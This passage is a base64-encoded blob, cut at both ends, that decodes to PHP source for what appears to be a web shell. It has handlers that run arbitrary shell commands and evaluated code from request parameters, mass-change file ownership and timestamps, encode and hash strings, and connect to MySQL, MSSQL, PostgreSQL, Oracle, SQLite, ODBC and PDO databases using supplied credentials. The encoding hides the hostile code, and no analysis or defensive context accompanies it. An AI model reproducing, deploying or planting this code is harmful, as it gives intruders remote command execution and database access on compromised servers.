kJZWxzZWlmKCRtYXNzVHlwZT09J2Nob3duJyl7CgkJCQkJCWlmKGNob3duKCRwYXRoLCAkbWFzc1ZhbHVlKSkgJGNvdW50ZXIrKzsKCQkJCQl9CgkJCQkJZWxzZWlmKCRtYXNzVHlwZT09J3RvdWNoJyl7CgkJCQkJCWlmKHRvdWNoKCRwYXRoLCBzdHJ0b3RpbWUoJG1hc3NWYWx1ZSkpKSAkY291bnRlcisrOwoJCQkJCX0KCQkJCX0KCQkJfQoJCX0KCX0KCWlmKCRjb3VudGVyPjApIG91dHB1dCgkY291bnRlcik7CglvdXRwdXQoJ2Vycm9yJyk7Cn0KZWxzZWlmKGlzc2V0KCRwWyd2aWV3RmlsZW9yRm9sZGVyJ10pKXsKCSRlbnRyeSA9ICRwWyd2aWV3RmlsZW9yRm9sZGVyJ107CglpZihpc19maWxlKCRlbnRyeSkpIG91dHB1dCgnZmlsZScpOwoJZWxzZWlmKGlzX2RpcigkZW50cnkpKSBvdXRwdXQoJ2ZvbGRlcicpOwoJb3V0cHV0KCdlcnJvcicpOwp9CmVsc2VpZihpc3NldCgkcFsndGVybWluYWxJbnB1dCddKSl7CglvdXRwdXQoaHRtbF9zYWZlKGV4ZWN1dGUoJHBbJ3Rlcm1pbmFsSW5wdXQnXSkpKTsKfQplbHNlaWYoaXNzZXQoJHBbJ2V2YWxJbnB1dCddKSAmJiBpc3NldCgkcFsnZXZhbFR5cGUnXSkpewoJJGV2YWxJbnB1dCA9ICRwWydldmFsSW5wdXQnXTsKCSRldmFsT3B0aW9ucyA9IChpc3NldCgkcFsnZXZhbE9wdGlvbnMnXSkpPyAkcFsnZXZhbE9wdGlvbnMnXToiIjsKCSRldmFsQXJndW1lbnRzID0gKGlzc2V0KCRwWydldmFsQXJndW1lbnRzJ10pKT8gJHBbJ2V2YWxBcmd1bWVudHMnXToiIjsKCSRldmFsVHlwZSA9ICRwWydldmFsVHlwZSddOwoKCWVycm9yX3JlcG9ydGluZyhFX0VSUk9SIHwgRV9XQVJOSU5HIHwgRV9QQVJTRSB8IEVfTk9USUNFKTsKCUBpbmlfc2V0KCdodG1sX2Vycm9ycycsJzAnKTsKCUBpbmlfc2V0KCdkaXNwbGF5X2Vycm9ycycsJzEnKTsKCUBpbmlfc2V0KCdkaXNwbGF5X3N0YXJ0dXBfZXJyb3JzJywnMScpOwoKCSRyZXMgPSBldmFsX2dvKCRldmFsVHlwZSwgJGV2YWxJbnB1dCwgJGV2YWxPcHRpb25zLCAkZXZhbEFyZ3VtZW50cyk7CglpZigkcmVzPT09ZmFsc2UpICRyZXMgPT0gImVycm9yIjsKCW91dHB1dChodG1sX3NhZmUoJHJlcykpOwp9CmVsc2VpZihpc3NldCgkcFsnZXZhbEdldFN1cHBvcnRlZCddKSl7CgkkcmVzID0gZXZhbF9nZXRfc3VwcG9ydGVkKCk7CglvdXRwdXQoJHJlcyk7Cn0KJEdMT0JBTFNbJ21vZHVsZSddWydjb252ZXJ0J11bJ2lkJ10gPSAiY29udmVydCI7CiRHTE9CQUxTWydtb2R1bGUnXVsnY29udmVydCddWyd0aXRsZSddID0gIkNvbnZlcnQiOwokR0xPQkFMU1snbW9kdWxlJ11bJ2NvbnZlcnQnXVsnanNfb250YWJzZWxlY3RlZCddID0gIgppZigoIXBvcnRhYmxlTW9kZSkgJiYgKCQoJyNkZWNvZGVSZXN1bHQnKS5jaGlsZHJlbigpLmxlbmd0aD09MSkpICQoJyNkZWNvZGVTdHInKS5mb2N1cygpOyI7CiRHTE9CQUxTWydtb2R1bGUnXVsnY29udmVydCddWydjb250ZW50J10gPSAiCjx0YWJsZSBjbGFzcz0nYm94dGJsJz4KPHRoZWFkPgoJPHRyPjx0aCBjb2xzcGFuPScyJz48cCBjbGFzcz0nYm94dGl0bGUnPkNvbnZlcnQ8L3A+PC90aD48L3RyPgo8L3RoZWFkPgo8dGJvZHk+Cgk8dHI+PHRkIGNvbHNwYW49JzInPjx0ZXh0YXJlYSBzdHlsZT0naGVpZ2h0OjE0MHB4O21pbi1oZWlnaHQ6MTQwcHg7JyBpZD0nZGVjb2RlU3RyJz48L3RleHRhcmVhPjwvdGQ+PC90cj4KCTx0cj48dGQgY29sc3Bhbj0nMic+PHNwYW4gY2xhc3M9J2J1dHRvbicgb25jbGljaz0nZGVjb2RlX2dvKCk7Jz5jb252ZXJ0PC9zcGFuPjwvdGQ+PC90cj4KPC90Ym9keT4KPHRmb290IGlkPSdkZWNvZGVSZXN1bHQnPjx0cj48dGQgY29sc3Bhbj0nMic+WW91IGNhbiBhbHNvIHByZXNzIGN0cmwrZW50ZXIgdG8gc3VibWl0PC90ZD48L3RyPjwvdGZvb3Q+CjwvdGFibGU+IjsKCmlmKCFmdW5jdGlvbl9leGlzdHMoJ2RlY29kZScpKXsKCWZ1bmN0aW9uIGRlY29kZSgkc3RyKXsKCQkkcmVzID0gIiI7CgkJJGxlbmd0aCA9IChpbnQpIHN0cmxlbigkc3RyKTsKCgkJJHJlcyAuPSBkZWNvZGVfbGluZSgibWQ1IiwgbWQ1KCRzdHIpLCAiaW5wdXQiKTsKCQkkcmVzIC49IGRlY29kZV9saW5lKCJzaGExIiwgc2hhMSgkc3RyKSwgImlucHV0Iik7CgoJCSRyZXMgLj0gZGVjb2RlX2xpbmUoImJhc2U2NCBlbmNvZGUiLCBiYXNlNjRfZW5jb2RlKCRzdHIpLCAidGV4dGFyZWEiKTsKCQkkcmVzIC49IGRlY29kZV9saW5lKCJiYXNlNjQgZGVjb2RlIiwgYmFzZTY0X2RlY29kZSgkc3RyKSwgInRleHRhcmVhIik7CgoKCQkkcmVzIC49IGRlY29kZV9saW5lKCJoZXggdG8gc3RyaW5nIiwgQHBhY2soIkgqIiAsICRzdHIpLCAidGV4dGFyZWEiKTsKCQkkcmVzIC49IGRlY29kZV9saW5lKCJzdHJpbmcgdG8gaGV4IiwgYmluMmhleCgkc3RyKSwgInRleHRhcmVhIik7CgoJCSRhc2NpaSA9ICIiOwoJCWZvcigkaT0wOyAkaTwkbGVuZ3RoOyAkaSsrKXsKCQkJJGFzY2lpIC49IG9yZChzdWJzdHIoJHN0ciwkaSwxKSkuIiAiOwoJCX0KCQkkcmVzIC49IGRlY29kZV9saW5lKCJhc2NpaSBjaGFyIiwgdHJpbSgkYXNjaWkpLCAidGV4dGFyZWEiKTsKCgkJJHJlcyAuPSBkZWNvZGVfbGluZSgicmV2ZXJzZWQiLCBzdHJyZXYoJHN0ciksICJ0ZXh0YXJlYSIpOwoJCSRyZXMgLj0gZGVjb2RlX2xpbmUoImxvd2VyY2FzZSIsIHN0cnRvbG93ZXIoJHN0ciksICJ0ZXh0YXJlYSIpOwoJCSRyZXMgLj0gZGVjb2RlX2xpbmUoInVwcGVyY2FzZSIsIHN0cnRvdXBwZXIoJHN0ciksICJ0ZXh0YXJlYSIpOwoKCQkkcmVzIC49IGRlY29kZV9saW5lKCJ1cmxlbmNvZGUiLCB1cmxlbmNvZGUoJHN0ciksICJ0ZXh0YXJlYSIpOwoJCSRyZXMgLj0gZGVjb2RlX2xpbmUoInVybGRlY29kZSIsIHVybGRlY29kZSgkc3RyKSwgInRleHRhcmVhIik7CgkJJHJlcyAuPSBkZWNvZGVfbGluZSgicmF3dXJsZW5jb2RlIiwgcmF3dXJsZW5jb2RlKCRzdHIpLCAidGV4dGFyZWEiKTsKCQkkcmVzIC49IGRlY29kZV9saW5lKCJyYXd1cmxkZWNvZGUiLCByYXd1cmxkZWNvZGUoJHN0ciksICJ0ZXh0YXJlYSIpOwoKCQkkcmVzIC49IGRlY29kZV9saW5lKCJodG1sZW50aXRpZXMiLCBodG1sX3NhZmUoJHN0ciksICJ0ZXh0YXJlYSIpOwoKCQlpZihmdW5jdGlvbl9leGlzdHMoJ2hhc2hfYWxnb3MnKSl7CgkJCSRhbGdvcyA9IGhhc2hfYWxnb3MoKTsKCQkJZm9yZWFjaCgkYWxnb3MgYXMgJGFsZ28pewoJCQkJaWYoKCRhbGdvPT0nbWQ1Jyl8fCgkYWxnbz09J3NoYTEnKSkgY29udGludWU7CgkJCQkkcmVzIC49IGRlY29kZV9saW5lKCRhbGdvLCBoYXNoKCRhbGdvLCAkc3RyKSwgImlucHV0Iik7CgkJCX0KCQl9CgoJCXJldHVybiAkcmVzOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdkZWNvZGVfbGluZScpKXsKCWZ1bmN0aW9uIGRlY29kZV9saW5lKCR0eXBlLCAkcmVzdWx0LCAkaW5wdXR0eXBlKXsKCQkkcmVzID0gIjx0cj48dGQgY2xhc3M9J2NvbEZpdCc+Ii4kdHlwZS4iPC90ZD48dGQ+IjsKCQlpZigkaW5wdXR0eXBlPT0naW5wdXQnKXsKCQkJJHJlcyAuPSAiPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSciLmh0bWxfc2FmZSgkcmVzdWx0KS4iJyBvbmRibGNsaWNrPSd0aGlzLnNlbGVjdCgpOyc+IjsKCQl9CgkJZWxzZXsKCQkJJHJlcyAuPSAiPHRleHRhcmVhIHN0eWxlPSdoZWlnaHQ6ODBweDttaW4taGVpZ2h0OjgwcHg7JyBvbmRibGNsaWNrPSd0aGlzLnNlbGVjdCgpOyc+Ii5odG1sX3NhZmUoJHJlc3VsdCkuIjwvdGV4dGFyZWE+IjsKCQl9CgkJcmV0dXJuICRyZXM7Cgl9Cn0KCmlmKGlzc2V0KCRwWydkZWNvZGVTdHInXSkpewoJJGRlY29kZVN0ciA9ICRwWydkZWNvZGVTdHInXTsKCW91dHB1dChkZWNvZGUoJGRlY29kZVN0cikpOwp9CiRHTE9CQUxTWydtb2R1bGUnXVsnZGF0YWJhc2UnXVsnaWQnXSA9ICJkYXRhYmFzZSI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZGF0YWJhc2UnXVsndGl0bGUnXSA9ICJEYXRhYmFzZSI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZGF0YWJhc2UnXVsnanNfb250YWJzZWxlY3RlZCddID0gIiI7CiRHTE9CQUxTWydtb2R1bGUnXVsnZGF0YWJhc2UnXVsnY29udGVudCddID0gIgo8dGFibGUgY2xhc3M9J2JveHRibCc+Cjx0aGVhZD4KCTx0cj48dGggY29sc3Bhbj0nMyc+PHAgY2xhc3M9J2JveHRpdGxlJz5Db25uZWN0PC9wPjwvdGg+PC90cj4KPC90aGVhZD4KPHRib2R5PgoJPHRyIGNsYXNzPSdkYkhvc3RSb3cnPjx0ZCBzdHlsZT0nd2lkdGg6MTQ0cHgnIGNsYXNzPSdkYkhvc3RMYmwnPkhvc3Q8L3RkPjx0ZCBjb2xzcGFuPScyJz48aW5wdXQgdHlwZT0ndGV4dCcgaWQ9J2RiSG9zdCcgdmFsdWU9Jycgb25rZXlkb3duPVwidHJhcF9lbnRlcihldmVudCwgJ2RiX2Nvbm5lY3QnKTtcIj48L3RkPjwvdHI+Cgk8dHIgY2xhc3M9J2RiVXNlclJvdyc+PHRkPlVzZXJuYW1lPC90ZD48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkYlVzZXInIHZhbHVlPScnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdkYl9jb25uZWN0Jyk7XCI+PC90ZD48L3RyPgoJPHRyIGNsYXNzPSdkYlBhc3NSb3cnPjx0ZD5QYXNzd29yZDwvdGQ+PHRkIGNvbHNwYW49JzInPjxpbnB1dCB0eXBlPSd0ZXh0JyBpZD0nZGJQYXNzJyB2YWx1ZT0nJyBvbmtleWRvd249XCJ0cmFwX2VudGVyKGV2ZW50LCAnZGJfY29ubmVjdCcpO1wiPjwvdGQ+PC90cj4KCTx0ciBjbGFzcz0nZGJQb3J0Um93Jz48dGQ+UG9ydCAoT3B0aW9uYWwpPC90ZD48dGQgY29sc3Bhbj0nMic+PGlucHV0IHR5cGU9J3RleHQnIGlkPSdkYlBvcnQnIHZhbHVlPScnIG9ua2V5ZG93bj1cInRyYXBfZW50ZXIoZXZlbnQsICdkYl9jb25uZWN0Jyk7XCI+PC90ZD48L3RyPgo8L3Rib2R5Pgo8dGZvb3Q+Cgk8dHIgY2xhc3M9J2RiQ29ubmVjdFJvdyc+CgkJPHRkIHN0eWxlPSd3aWR0aDoxNDRweDsnPgoJCQk8c2VsZWN0IGlkPSdkYlR5cGUnPgoJCQk8L3NlbGVjdD4KCQk8L3RkPgoJCTx0ZCBzdHlsZT0nd2lkdGg6MTIwcHg7Jz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZGJfY29ubmVjdCgpO1wiPmNvbm5lY3Q8L3NwYW4+PC90ZD4KCQk8dGQgY2xhc3M9J2RiRXJyb3InPjwvdGQ+Cgk8L3RyPgoJPHRyIGNsYXNzPSdkYlF1ZXJ5Um93JyBzdHlsZT0nZGlzcGxheTpub25lOyc+CgkJPHRkIGNvbHNwYW49JzMnPjx0ZXh0YXJlYSBpZD0nZGJRdWVyeScgc3R5bGU9J21pbi1oZWlnaHQ6MTQwcHg7aGVpZ2h0OjE0MHB4Oyc+WW91IGNhbiBhbHNvIHByZXNzIGN0cmwrZW50ZXIgdG8gc3VibWl0PC90ZXh0YXJlYT48L3RkPgoJPC90cj4KCTx0ciBjbGFzcz0nZGJRdWVyeVJvdycgc3R5bGU9J2Rpc3BsYXk6bm9uZTsnPgoJCTx0ZCBzdHlsZT0nd2lkdGg6MTIwcHg7Jz48c3BhbiBjbGFzcz0nYnV0dG9uJyBvbmNsaWNrPVwiZGJfcnVuKCk7XCI+cnVuPC9zcGFuPjwvdGQ+CgkJPHRkIHN0eWxlPSd3aWR0aDoxMjBweDsnPjxzcGFuIGNsYXNzPSdidXR0b24nIG9uY2xpY2s9XCJkYl9kaXNjb25uZWN0KCk7XCI+ZGlzY29ubmVjdDwvc3Bhbj48L3RkPgoJCTx0ZD5TZXBhcmF0ZSBtdWx0aXBsZSBjb21tYW5kcyB3aXRoIGEgc2VtaWNvbG9uIDxzcGFuIGNsYXNzPSdzdHJvbmcnPig8L3NwYW4+IDsgPHNwYW4gY2xhc3M9J3N0cm9uZyc+KTwvc3Bhbj48L3RkPgoJPC90cj4KPC90Zm9vdD4KPC90YWJsZT4KPGRpdiBpZD0nZGJCb3R0b20nIHN0eWxlPSdkaXNwbGF5Om5vbmU7Jz4KPGJyPgo8dGFibGUgY2xhc3M9J2JvcmRlcicgc3R5bGU9J3BhZGRpbmc6MDsnPjx0cj48dGQgaWQ9J2RiTmF2JyBjbGFzcz0nY29sRml0IGJvcmRlcnJpZ2h0JyBzdHlsZT0ndmVydGljYWwtYWxpZ246dG9wOyc+PC90ZD48dGQgaWQ9J2RiUmVzdWx0JyBzdHlsZT0ndmVydGljYWwtYWxpZ246dG9wOyc+PC90ZD48L3RyPjwvdGFibGU+CjwvZGl2PgoiOwoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX2Nvbm5lY3QnKSl7CglmdW5jdGlvbiBzcWxfY29ubmVjdCgkc3FsdHlwZSwgJHNxbGhvc3QsICRzcWx1c2VyLCAkc3FscGFzcyl7CgkJaWYoJHNxbHR5cGUgPT0gJ215c3FsJyl7CgkJCWlmKGNsYXNzX2V4aXN0cygnbXlzcWxpJykpIHJldHVybiBuZXcgbXlzcWxpKCRzcWxob3N0LCAkc3FsdXNlciwgJHNxbHBhc3MpOwoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9jb25uZWN0JykpIHJldHVybiBAbXlzcWxfY29ubmVjdCgkc3FsaG9zdCwgJHNxbHVzZXIsICRzcWxwYXNzKTsKCQl9CgkJZWxzZWlmKCRzcWx0eXBlID09ICdtc3NxbCcpewoJCQlpZihmdW5jdGlvbl9leGlzdHMoJ3NxbHNydl9jb25uZWN0JykpewoJCQkJJGNvbmluZm8gPSBhcnJheSgiVUlEIj0+JHNxbHVzZXIsICJQV0QiPT4kc3FscGFzcyk7CgkJCQlyZXR1cm4gQHNxbHNydl9jb25uZWN0KCRzcWxob3N0LCRjb25pbmZvKTsKCQkJfQoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdtc3NxbF9jb25uZWN0JykpIHJldHVybiBAbXNzcWxfY29ubmVjdCgkc3FsaG9zdCwgJHNxbHVzZXIsICRzcWxwYXNzKTsKCQl9CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZ3NxbCcpewoJCQkkaG9zdHMgPSBleHBsb2RlKCI6IiwgJHNxbGhvc3QpOwoJCQlpZihjb3VudCgkaG9zdHMpPT0yKXsKCQkJCSRob3N0X3N0ciA9ICJob3N0PSIuJGhvc3RzWzBdLiIgcG9ydD0iLiRob3N0c1sxXTsKCQkJfQoJCQllbHNlICRob3N0X3N0ciA9ICJob3N0PSIuJHNxbGhvc3Q7CgkJCWlmKGZ1bmN0aW9uX2V4aXN0cygncGdfY29ubmVjdCcpKSByZXR1cm4gQHBnX2Nvbm5lY3QoIiRob3N0X3N0ciB1c2VyPSRzcWx1c2VyIHBhc3N3b3JkPSRzcWxwYXNzIik7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJyl7IGlmKGZ1bmN0aW9uX2V4aXN0cygnb2NpX2Nvbm5lY3QnKSkgcmV0dXJuIEBvY2lfY29ubmVjdCgkc3FsdXNlciwgJHNxbHBhc3MsICRzcWxob3N0KTsgfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlMycpewoJCQlpZihjbGFzc19leGlzdHMoJ1NRTGl0ZTMnKSkgaWYoIWVtcHR5KCRzcWxob3N0KSkgcmV0dXJuIG5ldyBTUUxpdGUzKCRzcWxob3N0KTsKCQkJZWxzZSByZXR1cm4gZmFsc2U7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJyl7IGlmKGZ1bmN0aW9uX2V4aXN0cygnc3FsaXRlX29wZW4nKSkgcmV0dXJuIEBzcWxpdGVfb3Blbigkc3FsaG9zdCk7IH0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ29kYmMnKXsgaWYoZnVuY3Rpb25fZXhpc3RzKCdvZGJjX2Nvbm5lY3QnKSkgcmV0dXJuIEBvZGJjX2Nvbm5lY3QoJHNxbGhvc3QsICRzcWx1c2VyLCAkc3FscGFzcyk7IH0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3BkbycpewoJCQlpZihjbGFzc19leGlzdHMoJ1BETycpKSBpZighZW1wdHkoJHNxbGhvc3QpKSByZXR1cm4gbmV3IFBETygkc3FsaG9zdCwgJHNxbHVzZXIsICRzcWxwYXNzKTsKCQkJZWxzZSByZXR1cm4gZmFsc2U7CgkJfQoJCXJldHVybiBmYWxzZTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX3F1ZXJ5JykpewoJZnVuY3Rpb24gc3FsX3F1ZXJ5KCRzcWx0eXBlLCAkcXVlcnksICRjb24pewoJCWlmKCRzcWx0eXBlID09ICdteXNxbCcpewoJCQlpZihjbGFzc19leGlzdHMoJ215c3FsaScpKSByZXR1cm4gJGNvbi0+cXVlcnkoJHF1ZXJ5KTsKCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXlzcWxfcXVlcnknKSkgcmV0dXJuIG15c3FsX3F1ZXJ5KCRxdWVyeSk7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnbXNzcWwnKXsKCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfcXVlcnknKSkgcmV0dXJuIHNxbHNydl9xdWVyeSgkY29uLCRxdWVyeSk7CgkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX3F1ZXJ5JykpIHJldHVybiBtc3NxbF9xdWVyeSgkcXVlcnkpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX3F1ZXJ5KCRxdWVyeSk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdvcmFjbGUnKSByZXR1cm4gb2NpX2V4ZWN1dGUob2NpX3BhcnNlKCRjb24sICRxdWVyeSkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlMycpIHJldHVybiAkY29uLT5xdWVyeSgkcXVlcnkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJykgcmV0dXJuIHNxbGl0ZV9xdWVyeSgkY29uLCAkcXVlcnkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX2V4ZWMoJGNvbiwgJHF1ZXJ5KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3BkbycpIHJldHVybiAkY29uLT5xdWVyeSgkcXVlcnkpOwoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdzcWxfbnVtX3Jvd3MnKSl7CglmdW5jdGlvbiBzcWxfbnVtX3Jvd3MoJHNxbHR5cGUsJHJlc3VsdCl7CgkJaWYoJHNxbHR5cGUgPT0gJ215c3FsJyl7CgkJCWlmKGNsYXNzX2V4aXN0cygnbXlzcWxpX3Jlc3VsdCcpKSByZXR1cm4gJHJlc3VsdC0+bXlzcWxpX251bV9yb3dzOwoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9udW1fcm93cycpKSByZXR1cm4gbXlzcWxfbnVtX3Jvd3MoJHJlc3VsdCk7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnbXNzcWwnKXsKCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfbnVtX3Jvd3MnKSkgcmV0dXJuIHNxbHNydl9udW1fcm93cygkcmVzdWx0KTsKCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfbnVtX3Jvd3MnKSkgcmV0dXJuIG1zc3FsX251bV9yb3dzKCRyZXN1bHQpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX251bV9yb3dzKCRyZXN1bHQpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9udW1fcm93cygkcmVzdWx0KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZTMnKXsKCQkJJG1ldGFkYXRhID0gJHJlc3VsdC0+ZmV0Y2hBcnJheSgpOwoJCQlpZihpc19hcnJheSgkbWV0YWRhdGEpKSByZXR1cm4gJG1ldGFkYXRhWydjb3VudCddOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZScpIHJldHVybiBzcWxpdGVfbnVtX3Jvd3MoJHJlc3VsdCk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdvZGJjJykgcmV0dXJuIG9kYmNfbnVtX3Jvd3MoJHJlc3VsdCk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZG8nKSByZXR1cm4gJHJlc3VsdC0+cm93Q291bnQoKTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX251bV9maWVsZHMnKSl7CglmdW5jdGlvbiBzcWxfbnVtX2ZpZWxkcygkc3FsdHlwZSwgJHJlc3VsdCl7CgkJaWYoJHNxbHR5cGUgPT0gJ215c3FsJyl7CgkJCWlmKGNsYXNzX2V4aXN0cygnbXlzcWxpX3Jlc3VsdCcpKSByZXR1cm4gJHJlc3VsdC0+ZmllbGRfY291bnQ7CgkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ215c3FsX251bV9maWVsZHMnKSkgcmV0dXJuIG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAnbXNzcWwnKXsKCQkJaWYoZnVuY3Rpb25fZXhpc3RzKCdzcWxzcnZfbnVtX2ZpZWxkcycpKSByZXR1cm4gc3Fsc3J2X251bV9maWVsZHMoJHJlc3VsdCk7CgkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX251bV9maWVsZHMnKSkgcmV0dXJuIG1zc3FsX251bV9maWVsZHMoJHJlc3VsdCk7CgkJfQoJCWVsc2VpZigkc3FsdHlwZSA9PSAncGdzcWwnKSByZXR1cm4gcGdfbnVtX2ZpZWxkcygkcmVzdWx0KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ29yYWNsZScpIHJldHVybiBvY2lfbnVtX2ZpZWxkcygkcmVzdWx0KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3NxbGl0ZTMnKSByZXR1cm4gJHJlc3VsdC0+bnVtQ29sdW1ucygpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJykgcmV0dXJuIHNxbGl0ZV9udW1fZmllbGRzKCRyZXN1bHQpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX251bV9maWVsZHMoJHJlc3VsdCk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZG8nKSByZXR1cm4gJHJlc3VsdC0+Y29sdW1uQ291bnQoKTsKCX0KfQoKaWYoIWZ1bmN0aW9uX2V4aXN0cygnc3FsX2ZpZWxkX25hbWUnKSl7CglmdW5jdGlvbiBzcWxfZmllbGRfbmFtZSgkc3FsdHlwZSwkcmVzdWx0LCRpKXsKCQlpZigkc3FsdHlwZSA9PSAnbXlzcWwnKXsKCQkJaWYoY2xhc3NfZXhpc3RzKCdteXNxbGlfcmVzdWx0JykpIHsgJHo9JHJlc3VsdC0+ZmV0Y2hfZmllbGQoKTtyZXR1cm4gJHotPm5hbWU7fQoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9maWVsZF9uYW1lJykpIHJldHVybiBteXNxbF9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ21zc3FsJyl7CgkJCWlmKGZ1bmN0aW9uX2V4aXN0cygnc3Fsc3J2X2ZpZWxkX21ldGFkYXRhJykpewoJCQkJJG1ldGFkYXRhID0gc3Fsc3J2X2ZpZWxkX21ldGFkYXRhKCRyZXN1bHQpOwoJCQkJaWYoaXNfYXJyYXkoJG1ldGFkYXRhKSl7CgkJCQkJJG1ldGFkYXRhPSRtZXRhZGF0YVskaV07CgkJCQl9CgkJCQlpZihpc19hcnJheSgkbWV0YWRhdGEpKSByZXR1cm4gJG1ldGFkYXRhWydOYW1lJ107CgkJCX0KCQkJZWxzZWlmKGZ1bmN0aW9uX2V4aXN0cygnbXNzcWxfZmllbGRfbmFtZScpKSByZXR1cm4gbXNzcWxfZmllbGRfbmFtZSgkcmVzdWx0LCRpKTsKCQl9CgkJZWxzZWlmKCRzcWx0eXBlID09ICdwZ3NxbCcpIHJldHVybiBwZ19maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb3JhY2xlJykgcmV0dXJuIG9jaV9maWVsZF9uYW1lKCRyZXN1bHQsJGkrMSk7CgkJZWxzZWlmKCRzcWx0eXBlID09ICdzcWxpdGUzJykgcmV0dXJuICRyZXN1bHQtPmNvbHVtbk5hbWUoJGkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJykgcmV0dXJuIHNxbGl0ZV9maWVsZF9uYW1lKCRyZXN1bHQsJGkpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBvZGJjX2ZpZWxkX25hbWUoJHJlc3VsdCwkaSsxKTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3BkbycpewoJCQkkcmVzID0gJHJlc3VsdC0+Z2V0Q29sdW1uTWV0YSgkaSk7CgkJCXJldHVybiAkcmVzWyduYW1lJ107CgkJfQoJfQp9CgppZighZnVuY3Rpb25fZXhpc3RzKCdzcWxfZmV0Y2hfZGF0YScpKXsKCWZ1bmN0aW9uIHNxbF9mZXRjaF9kYXRhKCRzcWx0eXBlLCRyZXN1bHQpewoJCWlmKCRzcWx0eXBlID09ICdteXNxbCcpewoJCQlpZihjbGFzc19leGlzdHMoJ215c3FsaV9yZXN1bHQnKSkgcmV0dXJuICRyZXN1bHQtPmZldGNoX3JvdygpOwoJCQllbHNlaWYoZnVuY3Rpb25fZXhpc3RzKCdteXNxbF9mZXRjaF9yb3cnKSkgcmV0dXJuIG15c3FsX2ZldGNoX3JvdygkcmVzdWx0KTsKCQl9CgkJZWxzZWlmKCRzcWx0eXBlID09ICdtc3NxbCcpewoJCQlpZihmdW5jdGlvbl9leGlzdHMoJ3NxbHNydl9mZXRjaF9hcnJheScpKSByZXR1cm4gc3Fsc3J2X2ZldGNoX2FycmF5KCRyZXN1bHQsMSk7CgkJCWVsc2VpZihmdW5jdGlvbl9leGlzdHMoJ21zc3FsX2ZldGNoX3JvdycpKSByZXR1cm4gbXNzcWxfZmV0Y2hfcm93KCRyZXN1bHQpOwoJCX0KCQllbHNlaWYoJHNxbHR5cGUgPT0gJ3Bnc3FsJykgcmV0dXJuIHBnX2ZldGNoX3JvdygkcmVzdWx0KTsKCQllbHNlaWYoJHNxbHR5cGUgPT0gJ29yYWNsZScpIHJldHVybiBvY2lfZmV0Y2hfcm93KCRyZXN1bHQpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlMycpIHJldHVybiAkcmVzdWx0LT5mZXRjaEFycmF5KDEpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnc3FsaXRlJykgcmV0dXJuIHNxbGl0ZV9mZXRjaF9hcnJheSgkcmVzdWx0LDEpOwoJCWVsc2VpZigkc3FsdHlwZSA9PSAnb2RiYycpIHJldHVybiBv